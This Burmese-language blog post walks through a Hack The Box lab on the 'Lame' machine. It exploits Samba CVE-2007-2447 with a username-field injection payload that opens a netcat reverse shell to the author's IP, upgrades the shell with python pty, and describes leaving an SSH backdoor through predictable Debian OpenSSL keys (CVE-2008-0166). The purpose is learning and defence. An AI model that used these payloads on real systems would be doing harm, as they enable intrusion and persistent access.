ခုတ်မယ် ထစ်မယ် ပါးပါးလှီးမယ် OpenSSL
စတင်ခြင်း
နည်းပညာပိုင်းဆိုင်ရာ လေ့လာတာပဲဖြစ်ဖြစ်၊ အလုပ်ခွင်ထဲမှာ အလုပ်လုပ်ရင်း system တွေ၊ router/firewall တွေကို setup up လုပ်တဲ့အခါပဲဖြစ်ဖြစ် စာရေးသူအတွက် အတွေးတခုအမြဲရှိတတ်ပါတယ်။ ကိုယ်စိတ်ကြိုက် configure လုပ်ပြီးတာနဲ့ လုံခြုံရေးအတွက်တကယ်ကို လုံလောက်ရဲ့လား၊ ကိုယ်မသိလိုက်ပဲနဲ့ အပြင်ကနေဝင်လို့ရတဲ့ ဝင်ပေါက်များရှိနေနိုင်လားဆိုပြီး အခါတိုင်းလိုလို စိတ်ပူတတ်ပါလေရဲ့။ ဒီလိုပဲ... ကိုယ့်ရဲ့ login တွေကို ဖန်တီးတဲ့အခါမှာ အရမ်းကိုရှုပ်ထွေးတဲ့ password တွေကို သေချာရွေးပြီး password manager တွေကို အသေအချာအသုံးပြုတတ်တဲ့ အလေ့အကျင့်တခုကို အရင်ကတည်း ရထားပါတယ်။ သိသလောက်တော့... နည်းပညာသမားတိုင်းမှာ အဲ့လိုမျိုးအလေ့အထ အယောက်တိုင်းရှိပုံမပေါ်ပါဘူး။ ဒါကြောင့်လည်း brown field environment တွေမှာ အလုပ်လုပ်ရတဲ့အခါ weak password တွေ၊ မလိုအပ်ပါပဲနဲ့ port forwarding လုပ်ထားတဲ့ setup တွေအများကြီးတွေ့ဖူးတယ်။ ဒါဟာ အလုပ်ခွင်ထဲမှာ အလုပ်လုပ်ရင်းတွေရတာတွေဖြစ်တဲ့အတွက်၊ အဲ့ဒီ router တွေ၊ firewall တွေ၊ system တွေက enterprise မှာသုံးဖို့အတွက် setup လုပ်ထားတာတွေကို ကြုံတွေ့ရတာပါ။ တခါတလေ... အဲ့လို setup လုပ်ပြီးတော့ထားခဲ့တဲ့ sysadmin တွေ၊ network admin တွေ အလုပ်ခွင်ထဲမှာဘယ်လိုများ လုပ်ကိုင်စားသောက်နေကြပါသလဲလို့တောင်တွေးမိတတ်ပါတယ်။ စာရေးသူ ကိုယ်တိုင်လည်း လုပ်ငန်းခွင်စဝင်ကာစမှာတော့ အဲ့လိုမျိုး setup တွေလုပ်ခဲ့ဖူးတာတော့ မငြင်းနိုင်ပေမယ့်၊ နေ့တိုင်းအလုပ်ခွင်မှာရော၊ အိမ်မှာပါ လေ့လာလေ့ကျင့်တာများလာပြီး တနေ့ထက်တနေ့ ပိုကောင်းလာအောင်၊ ပိုသိလာအောင်၊ ပိုအလုပ်ဖြစ်လာအောင် ပြောင်းလဲယူလာရပါတယ်။ အလုပ်တစ်ခုကို သေသေချာချာလုပ်ချင်တဲ့ လူတိုင်းလည်း အဲ့လိုပဲဖြစ်ကြမယ်ထင်ပါတယ်။
နောက်ပိုင်းမှာတော့ စာရေးသူကိုယ်တိုင်က အိမ်မှာပဲဖြစ်ဖြစ်၊ အလုပ်မှာပဲဖြစ်ဖြစ် system တွေကို setup လုပ်တဲ့အခါတိုင်း အမြဲတမ်း လုံခြုံရေးအသိတခုအမြဲကပ်တဲ့အကျင့်ဘယ်ကနေ ရမှန်းမသိရလာပါတော့တယ်။ ဖြစ်နိုင်တာတခါက လုပ်ငန်းခွင်အတွေ့အကြုံတွေများလာတာနဲ့အမျှ အခြားကိုယ့်ရဲ့ senior engineer တွေဘယ်လိုမျိုးလုပ်သလဲ၊ ဒါ့အပြင် သူတို့ဘယ်လိုမျိုးတွေးသလဲ ဆိုတဲ့အဆင့်ထိကို သတိထားပြီးတော့ လေ့လာတတ်တဲ့အတွက် အတတ်ပညာပါမက၊ အသိပညာပါ ပိုမိုလေ့လာခွင့်ရခဲ့တာတော့ အမှန်ပါ။ ကိုယ့်လုပ်ငန်းခွင်အတွက် အလုပ်ဖြစ်ရုံသာ ပညာရပ်တခုကိုတတ်မြောက်အောင် လေ့လာမယ်ဆိုရင်တော့ နည်းပညာသမားတစ်ယောက်အတွက် ဘောင်အရမ်းကိုကျဉ်းလွန်းပါတယ်။ ဥပမာ - ကိုယ်က network engineer မို့လို့ networking နဲ့ပတ်သတ်တဲ့ အကြောင်းအရာတွေပဲ လေ့လာမယ်၊ သိမယ် ဆိုရင်လည်း အလုပ်ဖြစ်ပါတယ်။ သို့သော်... နောက်တဆင့်ဆက်တက်ဖို့ပဲဖြစ်ဖြစ်၊ တမူထူးခြားအောင် အမျိုးမျိုးကောင်းမွန်အောင် တီထွင်ဆန်းသစ်ဖို့ပဲဖြစ်ဖြစ် စာရေးသူတို့ နည်းပညာသမားတွေအတွက်က အများကြီး သိဖို့လိုပါတယ်။ လေ့လာမူအပိုင်းမှာလည်း ရပ်ပစ်လို့မရတဲ့အတွက် နေ့စဉ်ဆိုသလို အသစ်အသစ်တွေကို ဖတ်မှတ်သင်ယူကြရပါတယ်။ နည်းပညာသမား တစ်ယောက်အနေနဲ့ လေ့လာမူကိုရပ်လိုက်တာနဲ့ old guard လို့ခေါ်တဲ့ ရှေရိုးစွဲသမားတစ်ယောက် ဖြစ်လာပါတော့တယ်။ ပြဿနာ အဲ့မှာစတော့တာပါပဲ။ DevOps တို့၊ Agile တို့၊ Lean တို့လိုမျိုး နည်းပညာအပိုင်းက cultural movement သမားတွေနဲ့ ထိပ်တိုက်တွေ့တဲ့အခါ တော်တော်လေးကို လုပ်ရကိုင်ရ ခက်လာနိုင်တာလည်း သဘာဝပါ။ နောက်ဆုံးတော့... စာရေးသူ တွေးမိတာတခုက team တစ်ခုလုံးရဲ့ mindset ကို စပြီးတော့ပြောင်းလဲပစ်ဖို့က အရင်ဆုံးမလုပ်မဖြစ်လုပ်ရမယ့် လုပ်ငန်းတခုပါ။ Agile methodology တွေ၊ Lean workflow တွေ တခုတည်းနဲ့တော့ သိပ်ပြီးတော့အလုပ်မဖြစ်နိုင်ပါဘူး။ စာရေးသူအတွက်တော့... ရိုးရာ Level 1 Help Desk Support Tech ကနေ Sysadmin/Network Admin၊ အဲ့ကနေမှ System Engineer (MSP/DataCentre/Enterprise)၊ နောက်တခါ Network Engineer (ISP/WAN/Home Broadband)၊ ပြီးတော့ လူကငပျင်းမို့လို့ အခုတခါ Automation Engineer (IaC/System/Network) အဆင့်ဆင့် ဘဝကူးပြောင်းခဲ့ရပါတော့တယ်။ အခုထိလည်းဆက်ပြီးတော့ လေ့လာသင်ယူရတဲ့ လုပ်ငန်းစဉ်လည်း မရပ်တန့်နိုင်သေးတာတော့ အမှန်ပါ။
အခုတခါလည်း စာရေးသူအတွက် အလိုအလျှောက်ဖြစ်လာတဲ့ လေ့လာသင်ယူဖို့စိတ်ကူး အသစ်တခုအနေနဲ့ Offensive Security ကို မျက်စိကျနေမိပြန်ပါတယ်။ အဲ့ဒီစိတ်ကူးရဲ့ နောက်ကွယ်မှာတော့ အချက် ၃ချက်ကိုအခြေခံပြီး လေ့လာချင်စိတ်စတင်ဖြစ်လာတယ်လို့ မြင်မိပါတယ်။
အခုနောက်ပိုင်း နိုင်ငံတကာသတင်းတွေမှာ cybersecurity နဲ့ပတ်သတ်ပြီးတော့ hack ခံရတဲ့သတင်းတွေ၊ data breach ဖြစ်တဲ့သတင်းတွေနဲ့ modern warfare မှာ cyber warfare ဟာမရှိမဖြစ်နေရာရလာတဲ့ သတင်းတွေနဲ့ နေ့တိုင်း တွေ့ရဖတ်ရတာများလာပါတယ်။ အရင်တုန်းက data breach တွေမဖြစ်ဘူးလို့ မဆိုလိုပါ။ အခုလောလောဆယ်မှာ မကြာခဏဆိုသလို သတင်းတွေတွေ့ရတာပါ။ နည်းပညာသမားတစ်ယောက် အနေနဲ့ အဲ့ဒီသတင်းတွေကို စိတ်ဝင်စားမိတာတော့အမှန်ပါ။
Podcast တွေကိုနားထောင်တတ်လာတာ အချိန်အားဖြင့် ၃နှစ်ကျော်ကျော် ၄နှစ်လောက်ရှိတော့မယ်ထင်ပါတယ်။ စာရေးသူ အနေနဲ့ ရထားစီးတဲ့အချိန်၊ အိမ်မှာ အိမ်အလုပ်တွေလုပ်နေရတဲ့အချိန်နဲ့ လေ့ကျင့်ခန်းလုပ်တဲ့အချိန်တွေမှာ နည်းပညာဆိုင်ရာ podcast တွေကို အမြဲနားထောင်ဖြစ်ပါတယ်။ နယ်ပယ်မျိုးစုံက အကြောင်းအရာတွေကိုလည်း အသိမိတ်ဆွေတွေ အကြံပေးတဲ့အခါတိုင်းလည်း လိုက်နားထောင်ဖြစ်ပါတယ်။ အဲ့ဒီထဲမှာ Darknet Diaries ဆိုတဲ့ podcast တခုလည်းပါလာပါတော့တယ်။ Cybersecurity လို့ပြောတာနဲ့ Darknet Diaries ကိုမသိတဲ့လူမရှိသလောက်ပါပဲ။ စာရေးသူက story တွေကိုနားထောင်ရတာကြိုက်ပါတယ်။ Darknet Diaries ကတော့ technical အရမ်းမဖြစ်ပါဘူး။ သို့သော်... cybersecurity ထဲက story တွေအများကြီးကို စိတ်ဝင်စားအောင် တင်ပြတတ်လို့ တော်တော်လေးကို သဘောကျမိပါတယ်။ ကြိုက်လွန်းလို့ ပြန်နားတောင်ရတဲ့ episode တွေတော်တော်များပါတယ်။ များသောအားဖြင့် Offensive Security (OffSec) နဲ့ Pen Testing လိုမျိုး topic တွေကို သဘောကျပါတယ်။ အဲ့ဒီ story တွေထဲက characters တွေဘယ်လိုမျိုး technique တွေသုံးသလဲ၊ ဘယ်လိုမျိုးတွေးသလဲ ဆိုတာမျိုးကို စာရေးသူ အမြဲသိချင်စိတ်ဖြစ်ခဲ့မိပါတယ်။
နောက်တခုက ကိုယ်တိုင်နည်းပညာသမားဖြစ်တဲ့အတွက်၊ system တွေကို setup လုပ်တဲအခါတိုင်း လုံခြုံရေးအတွက်အမြဲထည့်သွင်းစဉ်းစားရပါတယ်။ System တခုအတွက် အကောင်းဆုံး defence ကိုသိချင်ရင်၊ attacker တစ်ယောက်အနေနဲ့ အခြားတဘက်က မြင်ကြည့်တတ်ဖို့ရ အရေးကြီးပါတယ်။ OffSec ဟာ attacker တယောက်လိုမြင်တတ်အောင် သင်ပေးတဲ့ ဘာသာရပ်တခုလို့ စာရေးသူမြင်ပါတယ်။ အဲ့ဒီအတွက် စာရေးသူ OffSec ကိုမျက်စိကျမိပါတယ်။
အဘယ့်ကြောင့် OpenSSL
Linux Sysadmin တစ်ယောက်အနေနဲ့ နေ့စဉ်အသုံးပြုရတဲ့ protocol တစ်ခုဟာ SSH ဖြစ်ပါတယ်။ SSH session တစ်ခုကို password နဲ့ authenticate လုပ်လို့ရတဲ့အပြင်၊ private/public keys pair နဲ့လည်း authenticate လုပ်လို့ရပါတယ်။ Cryptography အရ key authentication ကို password authentication ထက်ပိုပြီးတော့ strong ဖြစ်တယ်လို့ ယူဆရမှာပါ။ ကျယ်ကျယ်ပြန့်ပြန့် အသုံးပြုတဲ့ protocol မို့ဘယ်တုန်းကမှ သံသယမဖြစ်ဘူးပါဘူး။ သို့သော်... CVE-2008-0166 security vulnerability ကို ကိုယ်တိုင် ကိုယ်ကျ exploit လုပ်ကြည့်တော့မှ ကြက်သီးကြီးကြီးထမိပါတော့တယ်။ ဒီ article မှာလည်း အဲ့ဒီ CVE ကိုအခြေခံပြီးတော့ exploit လုပ်ပုံကို ဆွေးနွေးပြချင်ပါတယ်။
ပထမဆုံးအနေနဲ့ CVE ဆိုတာကို အကျဉ်းချုပ်ရှင်းပြလိုပါတယ်။ သူ့ရဲ့အရှည်က Common Vulnerabilities and Exposures ဖြစ်ပါတယ်။ Cybersecurity community ထဲက security researcher တွေဟာသူတို့ရှာတွေ့ထားတဲ့ vulnerabilities ကို လူတိုင်းသိအောင်၊ လေ့လာလို့ရအောင်လို့ publish လုပ်ပါတယ်။ ဥပမာ - CVE-2008-0166 ဆိုတဲ့ဟာမှာ 2008 ကခုနှစ်ဖြစ်ပြီးတော့၊ 0166 က အဲ့ဒီခုနှစ်အတွက် ရှာတွေ့တဲ့အမှတ်စဉ်ဖြစ်ပါတယ်။ System တွေကို patch လုပ်တဲ့အခါမှာလည်း ဘယ် patch ကတော့၊ ဘယ် CVE အတွက်ဆိုပြီးတော့ reference လုပ်တာတွေ့ဖူး မြင်ဖူးမယ်လို့ထင်ပါတယ်။ ဒါဆိုရင်တော့ရှင်းမယ်ထင်ပါတယ်။ CVE-2008-0166 အကြောင်းကို အသေးစိတ်လေ့လာချင်ရင်တော့ အောက်ကလင့်တွေကနေ တဆင့်သွားလောက်ဖတ်ရှုလို့ရပါတယ်။
ခုတ်ထစ်ခြင်းအနုပညာ
ဒီ CVE-2008-0166 ကို exploit လုပ်ဖို့အတွက်က တိုက်ရိုက်မဖြစ်နိုင်သော်လည်း system တစ်ခုထဲကို foothold ရပြီဆိုတာနဲ့ backdoor ထားခဲ့နိုင်အနေအထားတခုကို လက်တွေ့ပြချင်ပါတယ်။ အောက်မှာတော့ စာရေးသူ သုံးမယ့် target detail ကိုဖော်ပြပေးထားပါတယ်။
Platform: Hack The Box (HTB)
Machine Name: Lame
Machine Status: Retired
Machine IP: 10.10.10.3
OS: Linux
Level: Easy
ရှေ့ပြေးကင်းထောက် (Reconnaissance - Recon)
အရင်ဆုံးအနေနဲ့ nmap ဆိုတဲ့ tool ကိုအသုံးပြုပြီးတော့ target အကြောင်းအနည်းငယ် လေ့လာကြည့်ရအောင်ဗျ။
မြင်တွေ့တဲ့အတိုင်း အပေါက်တွေတော်တော်များ ပွင့်နေပါတယ်။ စာရေးသူတို့ Samba ကိုအသုံးပြု foothold ရအောင် စတင်လိုက်ရအောင်။ Searchsploit ကိုပဲသုံးပြီးဖြစ်ဖြစ်၊ Google မှာရှာရှာ target မှာ run ထားတဲ့ Samba version 3.0.20 ဟာ CVE-2007-2447 vulnerability ရှိနေပါတယ်။ Searchsploit မှာရှာတဲ့ပုံစံကို အောက်မှာပြထားပါတယ်။ CVE က 2007 လို့ပြောတဲ့အတွက် samba 2007 ဆိုပြီးတော့ရှာလိုက်တာပဲဖြစ်ပါတယ်။
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) ဆိုတဲ့တခုကို ပိုပြီးတော့နားလည်အောင်လို့ သူနဲ့ပတ်သတ်တဲ့ Ruby script ကိုတချက်လောက်လေ့လာကြည့်ရအောင်။
def exploit ဆိုတဲ့ function ကိုကြည့်လိုက်ရင် username မှာ payload ကိုဘယ်လိုမျိုး pass လုပ်ပြီးတော့ exploit လုပ်လို့ရသလဲဆိုတာကိုပြထားပါတယ်။ ဒါဆိုရင်တော့ foothold ရဖို့အတွက် နောက်အဆင့် ပါးပါးလှီးဖို့ပဲကျန်ပါတော့တယ်။
ပါးပါးလှီးခြင်း အနုပညာ (Exploit)
smbmap ဆိုတဲ့ tool ကိုအသုံးပြုပြီးတော့ target ရဲ့ Samba server ကိုတချက်လောက် အနံ့ခံကြည့်လိုက်ရအောင်ဗျ။
tmp ဆိုတဲ့ Samba share မှာ permission ကိုမှားပြီးတော့ Read and Write ပေးထားတာကို အပေါ်မှာပြထားတဲ့အတိုင်းတွေ့ရမှာပါ။ ဒီတခါတော့ အမှန်တကယ်စတင်ပြီး ပါးပါးလှီးကြည့်လိုက်ရအောင်။
စာရေးသူသုံးတဲ့ local machine မှာ netcat ကိုအသုံးပြီးတော့ reverse shell အတွက်ကြိုတင်ပြင်ဆင်ရပါ့မယ်။ အသုံးပြုရမယ့် command ကတော့
nc -nvlp 443
. Netcat ကို port 443 ကနေပြီး inbound traffic ကို listen လုပ်ခိုင်းတဲ့ command ပါ၊။နောက်အဆင့်အနေနဲ့ smbclient ကိုအသုံးပြုပြီး target machine ရဲ့ tmp share ကို anonymous အနေနဲ့ login ဝင်ပါတယ်။
ပြီးရင်
smb: \>
ဆိုတဲ့ prompt မှာlogon "/=`nohup nc -e /bin/sh 10.10.16.2 443`"
payload ကို pass ပေးလိုက်ရုံပါပဲ။ ဒီနေရာမှာ 10.10.16.2 ဆိုတာက စာရေးသူရဲ့ local machine IP address ဖြစ်ပါတယ်။Password:
ဆိုတဲ့ prompt မှာ ဘာမှရိုက်ထည့်စရာမလိုပဲ Enter ခေါက်ပေးလိုက်ရုံနဲ့ reverse shell ကို ကိုယ့်ရဲ့ local machine မှာပွင့်လာမှာပဲဖြစ်ပါတယ်။Python ကို အသုံးပြီးတော့ shell ကို upgrade လုပ်ချင်ရင်တော့
python -c 'import pty;pty.spawn("/bin/bash")'
command နဲ့လုပ်လိုက်ရုံပါပဲ။
မြင်ရတဲ့အတိုင်း target မှာ foothold ရသွားပါပြီ။ ထင်သာမြင်သာရှိအောင်လို့ အောက်မှာ screenshot တစ်ခုထည့်ပေးထားပါတယ်။
တံခါးသစ်ဖွင့်လစ်ခြင်း အနုပညာ (Backdoor)
နောက်ဆုံးအဆင့်အနေနဲ့ backdoor ကိုဘယ်လိုမျိုးထားခဲ့သလဲဆိုတာကို CVE-2008-0166 နဲ့ လက်တွေ့အသုံးပြချင်ပါတယ်။
Target machine မှာ root အနေနဲ့ foothold ရထားပြီးတဲ့အလျှောက် ကိုယ်ပြန်ပြီးတော့ ဒီ target ကိုပြန်ဝင်ချင်ရင် reverse shell နဲ့ခက်ခဲစွာ ပြန်ဝင်စရာမလိုအောင်လို့ SSH backdoor ထားခဲ့မှာပဲဖြစ်ပါတယ်။ CVE-2008-0166 အရဆိုရင် ၂၀၀၇ ခုနှစ်၊ ၂၀၀၈ ခုနှစ် ဝန်းကျင်တုန်းက Debian based Linux မှာသုံးတဲ့ OpenSSL ရဲ့ cryptography မှာ အားနည်းချက်ရှိပါတယ်။ Public/public keys generation process မှာ ထွက်လာတဲ့ keys တွေဟာ random ပါ။ သို့သော် အဲ့ဒီ CVE မှာပြောတာက public နဲ့ private keys combination ကို ခန့်မှန်းလို့ရနေပါလေရဲ့။ ဆိုလိုရင်းက SSH ရဲ့ public key ကိုရရုံနဲ့ private key ကို predict လုပ်လို့ရနိုင်ပါတယ်။ ခန့်မှန်းလို့ ရသမျှ public/private keys pairs တွေကို GitHub ရဲ့ ဒီလင့် https://github.com/g0tmi1k/debian-ssh.git ကနေရယူလို့ရပါတယ်။
Attacker ဘက်က target machine ရဲ့ public key ကိုသိပြီဆိုတာနဲ့ သူနဲ့ match ဖြစ်မယ့် private key ကိုအသုံးပြုပြီးတော့ SSH key authentication လုပ်လိုက်ရုံပါပဲ။ ဒီလိုနဲ့ SSH backdoor ထားခဲ့လို့ရနိုင်ပါတယ်။
ကဲ... ဒီလောက်ဆိုရင်တော့... OffSec ရဲ့ အရသာကို အနည်းငယ် ရိပ်စားမိမယ်လို့ မျှော်လင့်ရပါတယ်။ Attack factor ရဲ့ သဘောသဘာဝ နားလည်ပြီးတော့၊ ဘယ်လိုမျိုးကာကွယ်နိုင်သလဲဆိုတာကို စာရေးသူတို့ တွေးကြည့်မိနိုင်လောက်ပါပြီ။
Last updated